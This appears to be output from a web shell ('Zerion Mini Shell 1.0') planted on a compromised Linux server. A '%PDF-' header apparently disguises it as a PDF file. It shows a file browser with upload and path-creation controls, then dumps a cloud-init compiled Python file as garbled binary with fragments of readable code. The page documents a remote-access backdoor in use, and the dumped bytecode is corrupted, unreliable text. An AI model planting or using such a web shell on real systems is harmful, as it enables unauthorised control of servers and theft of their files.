%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_apt_pipelining.cpython-312.pyc

�

���fr�
��UdZddlZddlmZddlmZddlmZddlm	Z	ddl
mZeje
�ZdZd	Zd
ddged
gd�Ze	ed<dededededdf
d�Zd�Zy)z)Apt Pipelining: configure apt pipelining.�N)�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCEz+/etc/apt/apt.conf.d/90cloud-init-pipeliningzQ//Written by cloud-init per 'apt_pipelining'
Acquire::http::Pipeline-Depth "%s";
�cc_apt_pipelining�ubuntu�debian�apt_pipelining)�id�distros�	frequency�activate_by_schema_keys�meta�name�cfg�cloud�args�returnc�`�|jdd�}t|�j�j�}|dk(rt	dt
t�y|dvry|td�D�cgc]
}t|���c}vrt	|t
t�yt
jd|�ycc}w)Nr�os�false�0)�none�	unchangedr�z%Invalid option for apt_pipelining: %s)	�get�str�lower�strip�write_apt_snippet�LOG�DEFAULT_FILE�range�warning)rrrr�apt_pipe_value�apt_pipe_value_s�bs       �D/usr/lib/python3/dist-packages/cloudinit/config/cc_apt_pipelining.py�handler*%s����W�W�-�t�4�N��>�*�0�0�2�8�8�:���7�"��#�s�L�1�	�8�	8��	�e�A�h�7��c�!�f�7�	7��*�C��>����;�^�L��8s�(B+c�h�t|z}tj||�|jd||�y)z0Writes f_name with apt pipeline depth 'setting'.z+Wrote %s with apt pipeline depth setting %sN)�APT_PIPE_TPLr�
write_file�debug)�setting�log�f_name�
file_contentss    r)r!r!3s-��!�G�,�M��O�O�F�M�*��I�I�;�V�W�M�)�__doc__�logging�	cloudinitr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsr�	getLogger�__name__r"r#r,r�__annotations__r�listr*r!�r3r)�<module>r@s���0���!�#�.�+��g����!��<��,�
���(�#�� 0�1�	��j��M��M�6�M�%�M�t�M��M�Nr3

Zerion Mini Shell 1.0